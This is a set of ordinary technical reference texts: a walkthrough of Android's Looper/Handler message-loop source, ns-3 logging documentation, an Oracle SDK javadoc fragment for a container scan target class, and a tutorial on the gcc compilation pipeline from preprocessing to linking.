public static void loop() { final Looper me = myLooper(); //Gets the Looper object stored in TLS if (me == null) { throw new RuntimeException("No Looper; Looper.prepare() wasn't called on this thread."); } final MessageQueue queue = me.mQueue; //Gets the message queue in the Looper object Binder.clearCallingIdentity(); final long ident = Binder.clearCallingIdentity(); for (;;) { //Enter the main loop method of loop Message msg = queue.next(); //It may block because the next() method may loop indefinitely if (msg == null) { //If the message is empty, exit the loop return; } //`BlockCanary ` is a time-consuming third-party library used to detect application jams. The custom Printer is set Printer logging = me.mLogging; //The default value is null. The output can be specified through the setMessageLogging() method for the debug function if (logging != null) { logging.println(">>>>> Dispatching to " + msg.target + " " + msg.callback + ": " + msg.what); } msg.target.dispatchMessage(msg); //Get the target Handler of msg and use it to distribute messages if (logging != null) { logging.println("<<<<< Finished to " + msg.target + " " + msg.callback); } final long newIdent = Binder.clearCallingIdentity(); if (ident != newIdent) { } msg.recycleUnchecked(); } }
loop() enters the loop mode and repeats the following operations until the Message is empty: read the next Message of MessageQueue (about next(), which will be described in detail later); Distribute the Message to the corresponding target.
When next() takes out the next message and there is no message in the queue, next() will loop indefinitely and cause blocking. Wait for a message to be added to the MessageQueue, and then wake up again.
The main thread does not need to create a Looper by itself, because the system has automatically called the Looper.prepare() method when the program starts. View the main() method in ActivityThread. The code is as follows:
public static void main(String[] args) { .......................... Looper.prepareMainLooper(); .......................... Looper.loop(); .......................... }
The prepareMainLooper() method calls the prepare(false) method.
2.Handler
Create Handler
public Handler() { this(null, false); } public Handler(Callback callback, boolean async) { ................................. //Loop. Prepare() must be executed before obtaining the loop object, otherwise it is null mLooper = Looper.myLooper(); //Gets the Looper object from the TLS of the current thread if (mLooper == null) { throw new RuntimeException(""); } mQueue = mLooper.mQueue; //Message queue from Looper object mCallback = callback; //Callback method mAsynchronous = async; //Set whether the message is processed asynchronously }
For the parameterless construction method of Handler, the Looper object in the TLS of the current thread is adopted by default, the callback callback method is null, and the message is processed synchronously. As long as the Looper.prepare() method is executed, a valid Looper object can be obtained.
3. Send message
There are several ways to send messages, but in the final analysis, the sendMessageAtTime() method is called. When sending a message through the Handler's post() method or send() method in the child thread, the sendMessageAtTime() method is finally called.
post method
public final boolean post(Runnable r) { return sendMessageDelayed(getPostMessage(r), 0); } public final boolean postAtTime(Runnable r, long uptimeMillis) { return sendMessageAtTime(getPostMessage(r), uptimeMillis); } public final boolean postAtTime(Runnable r, Object token, long uptimeMillis) { return sendMessageAtTime(getPostMessage(r, token), uptimeMillis); } public final boolean postDelayed(Runnable r, long delayMillis) { return sendMessageDelayed(getPostMessage(r), delayMillis); }
send method
public final boolean sendMessage(Message msg) { return sendMessageDelayed(msg, 0); } public final boolean sendEmptyMessage(int what) { return sendEmptyMessageDelayed(what, 0); } public final boolean sendEmptyMessageDelayed(int what, long delayMillis) { Message msg = Message.obtain(); msg.what = what; return sendMessageDelayed(msg, delayMillis); } public final boolean sendEmptyMessageAtTime(int what, long uptimeMillis) { Message msg = Message.obtain(); msg.what = what; return sendMessageAtTime(msg, uptimeMillis); } public final boolean sendMessageDelayed(Message msg, long delayMillis) { if (delayMillis < 0) { delayMillis = 0; } return sendMessageAtTime(msg, SystemClock.uptimeMillis() + delayMillis); }
Even updating the UI in the runOnUiThread() called Activity in the child thread is actually sending the message to notify the main thread to update UI, and eventually calls the sendMessageAtTime() method.
public final void runOnUiThread(Runnable action) { if (Thread.currentThread() != mUiThread) { mHandler.post(action); } else { action.run(); } }
If the current thread is not equal to the UI thread (main thread), call the post() method of the Handler, and eventually call the sendMessageAtTime() method. Otherwise, the run() method of the Runnable object is called directly. Let's find out what the sendMessageAtTime() method does?
sendMessageAtTime()
public boolean sendMessageAtTime(Message msg, long uptimeMillis) { //Where mQueue is the message queue obtained from Looper MessageQueue queue = mQueue; if (queue == null) { RuntimeException e = new RuntimeException( this + " sendMessageAtTime() called with no mQueue"); Log.w("Looper", e.getMessage(), e); return false; } //Call enqueueMessage method return enqueueMessage(queue, msg, uptimeMillis); }
private boolean enqueueMessage(MessageQueue queue, Message msg, long uptimeMillis) { msg.target = this; if (mAsynchronous) { msg.setAsynchronous(true); } //Call enqueueMessage method of MessageQueue return queue.enqueueMessage(msg, uptimeMillis); }
You can see that the sendMessageAtTime() method is very simple. It is to call the enqueueMessage() method of MessageQueue to add a message to the message queue.
Let's look at the specific execution logic of the enqueueMessage() method.
enqueueMessage()
boolean enqueueMessage(Message msg, long when) { // Each Message must have a target if (msg.target == null) { throw new IllegalArgumentException("Message must have a target."); } if (msg.isInUse()) { throw new IllegalStateException(msg + " This message is already in use."); } synchronized (this) { if (mQuitting) { //When exiting, recycle msg and join the message pool msg.recycle(); return false; } msg.markInUse();//Mark as used msg.when = when; Message p = mMessages; boolean needWake; if (p == null || when == 0 || when < p.when) { //If p is null (indicating that there is no message in the MessageQueue) or the trigger time of msg is the earliest in the queue, enter the branch msg.next = p; mMessages = msg; needWake = mBlocked; } else { //Insert messages into the MessageQueue in chronological order. Generally, you do not need to wake up the event queue unless //There is a barrier in the Message queue header, and Message is the earliest asynchronous Message in the queue. needWake = mBlocked && p.target == null && msg.isAsynchronous(); Message prev; for (;;) { prev = p; p = p.next; if (p == null || when < p.when) { break; } if (needWake && p.isAsynchronous()) { needWake = false; } } msg.next = p; prev.next = msg; } if (needWake) { nativeWake(mPtr); } } return true; }
MessageQueue is arranged according to the sequence of Message trigger time. The Message at the head of the queue is the Message to be triggered the earliest. When a Message needs to be added to the Message queue, it will traverse from the head of the queue until it finds the appropriate location where the Message should be inserted, so as to ensure the time sequence of all messages.
4. Get message
After sending a message, the message queue is maintained in the MessageQueue, and then the loop() method is used in the loop to continuously obtain messages. The loop() method is introduced above, and the most important thing is to call the queue.next() method to extract the next message. Let's take a look at the specific process of the next() method.
Message next() { final long ptr = mPtr; if (ptr == 0) { //When the message loop has exited, it returns directly return null; } int pendingIdleHandlerCount = -1; // The initial value is - 1 int nextPollTimeoutMillis = 0; for (;;) { if (nextPollTimeoutMillis != 0) { Binder.flushPendingCommands(); } //Blocking operation will be returned when waiting for nextPollTimeoutMillis for a long time or when the message queue is awakened nativePollOnce(ptr, nextPollTimeoutMillis); synchronized (this) { final long now = SystemClock.uptimeMillis(); Message prevMsg = null; Message msg = mMessages; if (msg != null && msg.target == null) { //When the message Handler is empty, query the next asynchronous message msg in the MessageQueue. If it is empty, exit the loop. It is used together with the synchronization barrier. do { prevMsg = msg; msg = msg.next; } while (msg != null && !msg.isAsynchronous()); } if (msg != null) { if (now < msg.when) { //When the asynchronous message triggering time is greater than the current time, set the timeout length of the next polling nextPollTimeoutMillis = (int) Math.min(msg.when - now, Integer.MAX_VALUE); } else { // Get a message and return mBlocked = false; if (prevMsg != null) { prevMsg.next = msg.next; } else { mMessages = msg.next; } msg.next = null; //Set the usage status of the message, that is, flags |= FLAG_IN_USE msg.markInUse(); return msg; //Successfully obtained the next message to be executed in MessageQueue } } else { //No news nextPollTimeoutMillis = -1; } //Message exiting, null returned if (mQuitting) { dispose(); return null; } ............................... } }
nativePollOnce is a blocking operation, where nextPollTimeoutMillis represents the length of time to wait before the next message arrives; when nextPollTimeoutMillis = -1, it indicates that there is no message in the message queue and will wait all the time. You can see next() Method obtains the next message to be executed according to the trigger time of the message. When the message in the queue is empty, blocking operation will be performed.
5. Distribute messages
In the loop() method, after getting the next message, execute msg.target.dispatchMessage(msg) to distribute the message to the target Handler object.
Let's take a look at the execution process of the dispatchMessage(msg) method.
dispatchMessage()
public void dispatchMessage(Message msg) { if (msg.callback != null) { //When the Message has a callback method, call back the msg.callback.run() method; handleCallback(msg); } else { if (mCallback != null) { //When the Callback member variable exists in the Handler, the Callback method handleMessage(); if (mCallback.handleMessage(msg)) { return; } } //Handler's own callback method handleMessage() handleMessage(msg); } }
private static void handleCallback(Message message) { message.callback.run(); }
Distribution message process:
When msg.callback of Message is not empty, the callback method msg.callback.run();
When the Handler's mCallback is not empty, the callback method mCallback.handleMessage(msg);
Finally, calling the callback method handleMessage() of Handler itself, the method is empty by default, and the Handler subclass completes the specific logic by overwriting this method.
Priority of message distribution:
Callback method of Message: message.callback.run(), with the highest priority;
Callback method of callback in Handler: Handler.mCallback.handleMessage(msg), with priority next to 1;
The default method of Handler: Handler.handleMessage(msg), with the lowest priority.
In many cases, the processing method after message distribution is the third case, that is, Handler.handleMessage(). Generally, this method is overridden to realize its own business logic
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Logging¶
The ns-3 logging facility can be used to monitor or debug the progress
of simulation programs. Logging output can be enabled by program statements
in your
main() program or by the use of the
NS_LOG environment variable.
Logging statements are not compiled into optimized builds of ns-3. To use logging, one must build the (default) debug build of ns-3.
The project makes no guarantee about whether logging output will remain the same over time. Users are cautioned against building simulation output frameworks on top of logging code, as the output and the way the output is enabled may change over time.
Overview¶
ns-3 logging statements are typically used to log various program execution events, such as the occurrence of simulation events or the use of a particular function.
For example, this code snippet is from
Ipv4L3Protocol::IsDestinationAddress():
if (address == iaddr.GetBroadcast ()) { NS_LOG_LOGIC ("For me (interface broadcast address)"); return true; }
If logging has been enabled for the
Ipv4L3Protocol component at a severity
of
LOGIC or above (see below about log severity), the statement
will be printed out; otherwise, it will be suppressed.
Enabling Output¶
There are two ways that users typically control log output. The
first is by setting the
NS_LOG environment variable; e.g.:
$ NS_LOG="*" ./waf --run first
will run the
first tutorial program with all logging output. (The
specifics of the
NS_LOG format will be discussed below.)
This can be made more granular by selecting individual components:
$ NS_LOG="Ipv4L3Protocol" ./waf --run first
The output can be further tailored with prefix options.
The second way to enable logging is to use explicit statements in your
program, such as in the
first tutorial program:
int main (int argc, char *argv[]) { LogComponentEnable ("UdpEchoClientApplication", LOG_LEVEL_INFO); LogComponentEnable ("UdpEchoServerApplication", LOG_LEVEL_INFO); ...
(The meaning of
LOG_LEVEL_INFO, and other possible values,
will be discussed below.)
NS_LOG Syntax¶
The
NS_LOG environment variable contains a list of log components
and options. Log components are separated by `:’ characters:
$ NS_LOG="<log-component>:<log-component>..."
Options for each log component are given as flags after each log component:
$ NS_LOG="<log-component>=<option>|<option>...:<log-component>..."
Options control the severity and level for that component, and whether optional information should be included, such as the simulation time, simulation node, function name, and the symbolic severity.
Log Components¶
Generally a log component refers to a single source code
.cc file,
and encompasses the entire file.
Some helpers have special methods to enable the logging of all components in a module, spanning different compilation units, but logically grouped together, such as the ns-3 wifi code:
WifiHelper wifiHelper; wifiHelper.EnableLogComponents ();
The
NS_LOG log component wildcard `*’ will enable all components.
To see what log components are defined, any of these will work:
$ NS_LOG="print-list" ./waf --run ... $ NS_LOG="foo" # a token not matching any log-component
The first form will print the name and enabled flags for all log components
which are linked in; try it with
scratch-simulator.
The second form prints all registered log components,
then exit with an error.
Severity and Level Options¶
Individual messages belong to a single “severity class,” set by the macro
creating the message. In the example above,
NS_LOG_LOGIC(..) creates the message in the
LOG_LOGIC severity class.
The following severity classes are defined as
enum constants:
Typically one wants to see messages at a given severity class and higher. This is done by defining inclusive logging “levels”:
The severity class and level options can be given in the
NS_LOG
environment variable by these tokens:
Using a severity class token enables log messages at that severity only.
For example,
NS_LOG="*=warn" won’t output messages with severity
error.
NS_LOG="*=level_debug" will output messages at severity levels
debug and above.
Severity classes and levels can be combined with the `|’ operator:
NS_LOG="*=level_warn|logic" will output messages at severity levels
error,
warn and
logic.
The
NS_LOG severity level wildcard `*’ and
all
are synonyms for
level_all.
For log components merely mentioned in
NS_LOG
$ NS_LOG="<log-component>:..."
the default severity is
LOG_LEVEL_ALL.
Prefix Options¶
A number of prefixes can help identify where and when a message originated, and at what severity.
The available prefix options (as
enum constants) are
The prefix options are described briefly below.
The options can be given in the
NS_LOG
environment variable by these tokens:
For log components merely mentioned in
NS_LOG
$ NS_LOG="<log-component>:..."
the default prefix options are
LOG_PREFIX_ALL.
Severity Prefix¶
The severity class of a message can be included with the options
prefix_level or
level. For example, this value of
NS_LOG
enables logging for all log components (`*’) and all severity
classes (
=all), and prefixes the message with the severity
class (
|prefix_level).
$ NS_LOG="*=all|prefix_level" ./waf --run scratch-simulator Scratch Simulator [ERROR] error message [WARN] warn message [DEBUG] debug message [INFO] info message [FUNCT] function message [LOGIC] logic message
Time Prefix¶
The simulation time can be included with the options
prefix_time or
time. This prints the simulation time in seconds.
Function Prefix¶
The name of the calling function can be included with the options
prefix_func or
func.
NS_LOG Wildcards¶
The log component wildcard `*’ will enable all components. To
enable all components at a specific severity level
use
*=<severity>.
The severity level option wildcard `*’ is a synonym for
all.
This must occur before any `|’ characters separating options.
To enable all severity classes, use
<log-component>=*,
or
<log-component>=*|<options>.
The option wildcard `*’ or token
all enables all prefix options,
but must occur after a `|’ character. To enable a specific
severity class or level, and all prefixes, use
<log-component>=<severity>|*.
The combined option wildcard
** enables all severities and all prefixes;
for example,
<log-component>=**.
The uber-wildcard
*** enables all severities and all prefixes
for all log components. These are all equivalent:
$ NS_LOG="***" ... $ NS_LOG="*=all|*" ... $ NS_LOG="*=*|all" ... $ NS_LOG="*=**" ... $ NS_LOG="*=level_all|*" ... $ NS_LOG="*=*|prefix_all" ... $ NS_LOG="*=*|*" ...
Be advised: even the trivial
scratch-simulator produces over
46K lines of output with
NS_LOG="***"!
How to add logging to your code¶
Adding logging to your code is very simple:
- Invoke the
NS_LOG_COMPONENT_DEFINE (...);macro inside of
namespace ns3.
Create a unique string identifier (usually based on the name of the file and/or class defined within the file) and register it with a macro call such as follows:namespace ns3 { NS_LOG_COMPONENT_DEFINE ("Ipv4L3Protocol"); ...
This registers
Ipv4L3Protocolas a log component.
(The macro was carefully written to permit inclusion either within or outside of namespace
ns3, and usage will vary across the codebase, but the original intent was to register this outside of namespace
ns3at file global scope.)
- Add logging statements (macro calls) to your functions and function bodies.
In case you want to add logging statements to the methods of your template class (which are defined in an header file):
- Invoke the
NS_LOG_TEMPLATE_DECLARE;macro in the private section of your class declaration. For instance:
template <typename Item> class Queue : public QueueBase { ... private: std::list<Ptr<Item> > m_packets; //!< the items in the queue NS_LOG_TEMPLATE_DECLARE; //!< the log component };
This requires you to perform these steps for all the subclasses of your class.
- Invoke the
NS_LOG_TEMPLATE_DEFINE (...);macro in the constructor of your class by providing the name of a log component registered by calling the
NS_LOG_COMPONENT_DEFINE (...);macro in some module. For instance:
template <typename Item> Queue<Item>::Queue () : NS_LOG_TEMPLATE_DEFINE ("Queue") { }
- Add logging statements (macro calls) to the methods of your class.
In case you want to add logging statements to a static member template (which is defined in an header file):
- Invoke the
NS_LOG_STATIC_TEMPLATE_DEFINE (...);macro in your static method by providing the name of a log component registered by calling the
NS_LOG_COMPONENT_DEFINE (...);macro in some module. For instance:
template <typename Item> void NetDeviceQueue::PacketEnqueued (Ptr<Queue<Item> > queue, Ptr<NetDeviceQueueInterface> ndqi, uint8_t txq, Ptr<const Item> item) { NS_LOG_STATIC_TEMPLATE_DEFINE ("NetDeviceQueueInterface"); ...
- Add logging statements (macro calls) to your static method.
Controlling timestamp precision¶
Timestamps are printed out in units of seconds. When used with the default ns-3 time resolution of nanoseconds, the default timestamp precision is 9 digits, with fixed format, to allow for 9 digits to be consistently printed to the right of the decimal point. Example:
+0.000123456s RandomVariableStream:SetAntithetic(0x805040, 0)
When the ns-3 simulation uses higher time resolution such as picoseconds or femtoseconds, the precision is expanded accordingly; e.g. for picosecond:
+0.000123456789s RandomVariableStream:SetAntithetic(0x805040, 0)
When the ns-3 simulation uses a time resolution lower than microseconds, the default C++ precision is used.
An example program at
src\core\examples\sample-log-time-format.cc
demonstrates how to change the timestamp formatting.
The maximum useful precision is 20 decimal digits, since Time is signed 64 bits.
Logging Macros¶
The logging macros and associated severity levels are
The macros function as output streamers, so anything you can send to
std::cout, joined by
<<operators, is allowed:void MyClass::Check (int value, char * item) { NS_LOG_FUNCTION (this << arg << item); if (arg > 10) { NS_LOG_ERROR ("encountered bad value " << value << " while checking " << name << "!"); } ... }
Note that
NS_LOG_FUNCTIONautomatically inserts a `
,’ (comma-space) separator between each of its arguments. This simplifies logging of function arguments; just concatenate them with
<<as in the example above.
Unconditional Logging¶
As a convenience, the
NS_LOG_UNCOND (...); macro will always log its
arguments, even if the associated log-component is not enabled at any
severity. This macro does not use any of the prefix options. Note that
logging is only enabled in debug builds; this macro won’t produce
output in optimized builds.
Guidelines¶
- Start every class method with
NS_LOG_FUNCTION (this << args...);This enables easy function call tracing.
- Except: don’t log operators or explicit copy constructors, since these will cause infinite recursion and stack overflow.
- For methods without arguments use the same form:
NS_LOG_FUNCTION (this);
- For static functions:
- With arguments use
NS_LOG_FUNCTION (...);as normal.
- Without arguments use
NS_LOG_FUNCTION_NOARGS ();
- Use
NS_LOG_ERRORfor serious error conditions that probably invalidate the simulation execution.
- Use
NS_LOG_WARNfor unusual conditions that may be correctable. Please give some hints as to the nature of the problem and how it might be corrected.
NS_LOG_DEBUGis usually used in an ad hoc way to understand the execution of a model.
- Use
NS_LOG_INFOfor additional information about the execution, such as the size of a data structure when adding/removing from it.
- Use
NS_LOG_LOGICto trace important logic branches within a function.
- Test that your logging changes do not break the code. Run some example programs with all log components turned on (e.g.
NS_LOG="***").
- Use an explicit cast for any variable of type uint8_t or int8_t, e.g.,
NS_LOG_LOGIC ("Variable i is " << static_cast<int> (i));. Without the cast, the integer is interpreted as a char, and the result will be most likely not in line with the expectations. This is a well documented C++ ‘feature’.
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@Generated(value="OracleSDKGenerator", comments="API Version: 20210215") public final class ContainerScanTarget extends Object
A container scan target (application of a container scan recipe to the registry or list of repos)
Note: Objects should always be created or deserialized using the
ContainerScanTarget.Builder. This model distinguishes fields
that are
null because they are unset from fields that are explicitly set to
null. This is done in
the setter methods of the
ContainerScanT","targetRegistry","containerScanRecipeId","lifecycleState","timeCreated","timeUpdated","freeformTags","definedTags","systemTags"}) @Deprecated public ContainerScanTarget(String id, String displayName, String description, String compartmentId, ContainerScanRegistry targetRegistry, String containerScanRecipeId, LifecycleState lifecycleState, Date timeCreated, Date timeUpdated, Map<String,String> freeformTags, Map<String,Map<String,Object>> definedTags, Map<String,Map<String,Object>> systemTags)
public static ContainerScanTarget.Builder builder()
Create a new builder.
public ContainerScanTarget.Builder toBuilder()
public String getId()
public String getDisplayName()
User friendly name of container scan target
public String getDescription()
Target description.
public String getCompartmentId()
public ContainerScanRegistry getTargetRegistry()
public String getContainerScanRecipeId()
ID of the container scan recipe this target applies.
public LifecycleState getLifecycleState()
The current state of the config.()
Usage of system tag keys. These predefined keys are scoped to namespaces.
Example:
{"orcl-cloud": {"free-tier-retained": "true"}}
public Set<String> get__explicitlySet__()
public boolean equals(Object o)
equalsin class
Object
public int hashCode()
hashCodein class
Object
public String toString()
toStringin class
Object
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C Program Compilation Process - Source to Binary
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You might know how to write a C program, but do you know how the C program is compiled and converted to binary. In this blog, we’re going through the steps to get a compiled C output and learn about the C Program Compilation process to convert source code to binary.
What is a Compiler?.
Types of C Compilers
Before jumping directly to the processes involved in the compiler. It’s worth knowing what types of C Compilers are present and which one is suitable for your development environment.
GCC
GCC stands for GNU Compiler Collection, is produced by GNU Projects. It’s a free compiler under the GPL(General Public License). In this blog, we are going to use this compiler to compile our c program.
Clang
This compiler uses the LLVM backend for compiling not only C but also C++, Objective-C, and Objective-C++.
Clang Compiler is mostly used by macOS users as:
GCC had caused some problems for developers at Apple, as the source code is large and difficult to use. So, they had come up with Clang.Source – EDUCBA
To learn about all the compilers and the types of c compilers visit the list of compilers Wikipedia page.
Let’s now look at what the C compiler pipeline means.
C Program Compilation Pipeline
After we finish writing the code the first thing we do is compile it, it normally takes a few seconds for the compiler to compile the code and translate it to the machine language. But during this time, the Code goes through a series of steps to convert to an executable file. These compilation phases are in sequence, so they’re often called a pipeline.
Before we proceed further, there are two rules that we should know:
C Program Compilation Rule
- Only Source files are compiled
- Each Source File is Compiled Separately
The Components of the C Program Compilation Pipeline are:
- Preprocessor
- Compilation
- Assembly
- Linker
As a pipeline, the output of one component becomes the input of the next component, and this whole phase continues until the last product is collected from the pipeline. This will become clearer as you read the blog further.
The last by-product is also different for the system that you are compiling the program.
For Windows machine, an executable with .exe file is generated as a by-product, and for Linux, a .out file is generated.
One thing we need to note about the compilation pipeline is that it can only produce output if and only if the source file passes through all components of the compilation pipeline successfully.
Even a small failure in any of the components will lead to a compilation or linkage failure and give an error message.
Below is an image showing the steps for the compilation of the C program. The image describes the steps and the file created by the move. You may take a look at this picture for a quick reference to the entire compilation process.
You can use a single command to get all the intermediate files that are generated by the C program Compilation Pipeline.
$ gcc –Wall –save-temps cprogram.c –o cprogram
This will dump all the product file components in the same directory along with the executable file.
The -Wall option is used to display the error, if any, during the process. The -save-temps option in the GCC compiler driver is used to save all the intermediate files in the directory.
All intermediate files that will be saved are:
- cprogram.i – Product by Preprocessor step
- cprogram.s – Product by Compiler
- cprogram.o – Product by Assembler
- cprogram.out(Linux) /cprogram.exe(Windows) – Executable file (Last Product)
In each segment of the C program compilation process, we will learn more about these intermediate files.
The command uses the
cprogram.c file (Used later in the blog) as the c source file. You should assign your own name to the source file.
The -o option in the GCC compiler driver is used to assign the name to the output file.
In this example, each intermediate file is called a cprogram, but the extensions are different.
Step 1 – Preprocessing
Pre-processing is the first step in the C Program Compilation Pipeline.
What is Preprocessing?
When writing a C program, we include libraries, define some macros, and sometimes even make some conditional compilation. All of these are referred to as preprocessor directives.
During the preprocessing step in the C program compilation pipeline, the preprocess directives are substituted with their original values.
Let’s make that clear!
Header Files
The source file consists of a number of header files in the C language, and it is the preprocessor’s task to include the library.
Example:
If the program contains
#include, this line will be replaced by the original contents of the header file when the source file is pre-processed.
Macros
Macros are defined by
#define syntax in the C programming language. During the preprocessing stage, the macros are replaced by their values.
Conditional Compilation
Often we want our compiled code to be minimal, so we can use conditional compilation. The preprocessor often operates on a conditional compilation and reduces the code by adding only those lines that fulfill the condition.
Some Conditional Compilation preprocessor directives are:
- #undef
- #ifdef
- #ifndef
- #if
- #else
- #elif
- #endif
For improved readability and more reference to the code, we use the comments in our code. However, the comments do not provide the computer with the necessary information and therefore the comments are removed in the pre-processing stage.
The pre-processed code is often called the Translation Unit (Compilation Unit).
You can see the pre-processed code of the C program in the section below.
Extract preprocessed code from GCC
We can also take a look at the file from each part of the compilation pipeline. Let’s ask the C compiler driver to dump the translation unit without going any further.
To extract the translation unit from the source code, we can use the -E option in the GCC.
Example:
// Header File #include #define Max 10 int main() { printf("Hello World"); // Print Hello World printf("%d", Max); return 0; }
$ gcc -E cprogram.c # 1 "cprogram.c" # 1 "" # 1 "" # 1 "cprogram.c" ....... ....... ....... typedef __time64_t time_t; # 435 "C:/msys64/mingw64/x86_64-w64-mingw32/include/corecrt.h" 3 typedef struct localeinfo_struct { pthreadlocinfo locinfo; pthreadmbcinfo mbcinfo; } _locale_tstruct,*_locale_t; typedef struct tagLC_ID { unsigned short wLanguage; unsigned short wCountry; unsigned short wCodePage; } LC_ID,*LPLC_ID; ....... ....... ....... # 1582 "C:/msys64/mingw64/x86_64-w64-mingw32/include/stdio.h" 2 3 # 3 "cprogram.c" 2 # 5 "cprogram.c" int main() { printf("Hello World"); printf("%d", 10); return 0; }
The above translation code is not full, as it is very large because it includes the
stdio.h header file (Total 1038 lines of translation unit). To see the whole output run this command on your development machine.
This example illustrates how the preprocessor functions. The Preprocessor only performs basic functions, such as inclusion, by copying contents from a file or macro expansion by text substitution.
There is a CPP tool, which stands for C Pre-Processor, which is used to pre-process a C file.
The C preprocessor or cpp is the macro preprocessor for the C, Objective-C, and C++ computer programming languages. The preprocessor provides the ability for the inclusion of header files, macro expansions, conditional compilation, and line control.Source – C Preprocessor Wikipedia
This tool is part of the C development kit that is shipped with each UNIX flavor.
$ cpp cprogram.c
This command will provide you the preprocessed code for the c program.
The preprocessed file has an extension of .i, and if you pass this file to the C compiler driver, the preprocessor stage will be bypassed. This happens because of the file with the
.i extension is supposed to have already been preprocessed and is sent directly to the compilation stage.
Step 2 – Compilation
In the previous section, we had our Translation Unit, and now we can move on to our next step, i.e. the compilation of the Translation Unit Code.
The input for the compilation component is the translation unit, obtained from the previous component. The output from the compilation component is the assembly code (Still Human-readable code, but closer to the hardware).
Extract Assembly Code from GCC
As in the previous stage, we dumped the translation unit code using the -E option. Here, we can use the -S option for the GCC to obtain the assembly code. This will create a file with the .s extension, and we will see the contents of the file using the cat command.
$ gcc -S cprogram.c $ cat cprogram.s .file "cprogram.c" .text .def printf; .scl 3; .type 32; .endef .seh_proc printf printf: pushq %rbp .seh_pushreg %rbp pushq %rbx .seh_pushreg %rbx subq $56, %rsp .seh_stackalloc 56 leaq 128(%rsp), %rbp .seh_setframe %rbp, 128 .seh_endprologue movq %rcx, -48(%rbp) movq %rdx, -40(%rbp) movq %r8, -32(%rbp) movq %r9, -24(%rbp) leaq -40(%rbp), %rax movq %rax, -96(%rbp) movq -96(%rbp), %rbx movl $1, %ecx movq __imp___acrt_iob_func(%rip), %rax call *%rax movq %rbx, %r8 movq -48(%rbp), %rdx movq %rax, %rcx call __mingw_vfprintf movl %eax, -84(%rbp) movl -84(%rbp), %eax addq $56, %rsp popq %rbx popq %rbp ret .seh_endproc .def __main; .scl 2; .type 32; .endef .section .rdata,"dr" .LC0: .ascii "Hello World\0" .LC1: .ascii "%d\0" .text .globl main .def main; .scl 2; .type 32; .endef .seh_proc main main: pushq %rbp .seh_pushreg %rbp movq %rsp, %rbp .seh_setframe %rbp, 0 subq $32, %rsp .seh_stackalloc 32 .seh_endprologue call __main leaq .LC0(%rip), %rcx call printf movl $10, %edx leaq .LC1(%rip), %rcx call printf movl $0, %eax addq $32, %rsp popq %rbp ret .seh_endproc .ident "GCC: (Rev3, Built by MSYS2 project) 10.2.0" .def __mingw_vfprintf; .scl 2; .type 32; .endef
The Compilation phase gives us the Assembly code that is unique to the target architecture.
Even if the C language compiler is the same for two different machines with the same C program but different processors and hardware, different assembly codes would be produced.
Generating the assembly code from the C code is one of the most critical stages in the C Program Compilation Pipeline since the assembly code is a low-level language that can be translated to an object file using an assembler.
Step 3 – Assembly
The Compilation stage gives us the assembly code that is the input for the next pipeline component, i.e. assembly.
In this stage, the actual instructions on the machine level are generated from the assembly code. Each architecture has its own assembler, which converts its own assembly code into its own machine code.
The assembler generates a relocatable object file from the assembly code.
Create Object file from the Assembly file
We can use the built-in assembly tool called to translate the assembly file to an object file.
The assembler tool takes the assembly file and produces a relocatable object file.
$ as cprogram.s -o cprogram.o
This assembler tool(as) gives us a new file with a .o extension (.obj in Microsoft Windows), which is the relocatable object file.
If you want to translate a C program directly to an object file, you can use the -c option in the GCC compiler driver.
Using -c with the GCC compiler would merge the first three processes in the pipeline compilation, i.e. pre-processing, compilation and assembling.
$ gcc -c cprogram.c
This is really helpful when you want to work with object files and repeating all of the above steps can be quite hectic for a number of files.
The contents inside the object file contain low-level code and are thus not readable to humans. In the latter portion, we will also learn about a tool that will allow us to see the contents of an object file.
Now that we know how to build object files directly from both the assembly file and the C program. It’s time to learn about the Linking Stage in the C program compilation process.
Step 4 – Linking
This is one of the most critical steps in the C compilation pipeline where the generated relocatable object files are combined/linked to create another object file that is executable in nature.
Let’s take a look at the situation.
Suppose we have a custom header file htd.h, which contains a printHTD function prototype, and a source file htd.c, which contains the function definition of the header file.
#include #include "htd.h" void printHTD() { printf("Hack The Developer"); }
void printHTD();
The
htd.h header file is included in the
cprogram.c source file.
#include "htd.h" int main() { printHTD(); return 0; }
As we know there are two source files, and we’ll have to generate separate object files, which will be linked by the linker later to provide us an executable object file.
$ gcc -c cprogram.c $ gcc -c htd.c
The above command creates two separate relocatable object files. Now let’s link the object files.
We can use the ld tool, which is the default linker in Unix-like systems, to link the relocatable object files.
But the ld tool gives us an undefined reference error.
$ ld htd.o cprogram.o -o cprogram.exe C:\msys64\mingw64\bin\ld.exe: cprogram.o:cprogram.c:(.text+0x32): undefined reference to `__imp___acrt_iob_func' C:\msys64\mingw64\bin\ld.exe: cprogram.o:cprogram.c:(.text+0x43): undefined reference to `__mingw_vfprintf' C:\msys64\mingw64\bin\ld.exe: cprogram.o:cprogram.c:(.text+0x78): undefined reference to `__main'
So we are going to use the gcc for the linking process, which has an inbuilt linker that will link the relocatable object files.
$ gcc htd.o cprogram.o -o cprogram.exe $ ./cprogram.exe Hack The Developer
The linking was successful as we got the required output.
In each section, we examined an intermediate file, but not an object file. Let’s look at it in the next section.
Analysis of Object Files
It was said earlier in the Assembly section that we will take a look at the tool that lets us see the contents of the object file.
The nm tool is used to display symbols that can be found in an object file.
$ nm htd.o 0000000000000000 b .bss 0000000000000000 d .data 0000000000000000 r .rdata$zzz 0000000000000000 t .text $ nm cprogram.o 0000000000000000 b .bss 0000000000000000 d .data 0000000000000000 p .pdata 0000000000000000 r .rdata 0000000000000000 r .rdata$zzz 0000000000000000 t .text 0000000000000000 r .xdata U __imp___acrt_iob_func U __main U __mingw_vfprintf 000000000000006f T main 0000000000000000 t printf 0000000000000054 T printHTD
The object module provides all the details required to relocate and link the application to another program.
The below picture defines the Structure of the relocatable object file.
The ELF header at the top of this table defines the ELF file. The next section is a section header table containing details on all parts in the ELF file.
Let’s Understand the Four important Sections in the ELF File.
- .text – Our c program is stored in this section. We only have read and execute permission to this section and not write permission.
- .data – All initialized global and static variables are stored in the .data section. (Read and Write Permission)
- .rodata – Constants and literals are stored in the .rodata section. (Read Permission)
- .bss – This section contains uninitialized global and static variables. (Read and Write Permission)
To see the content of the generated executable use the readelf tool.
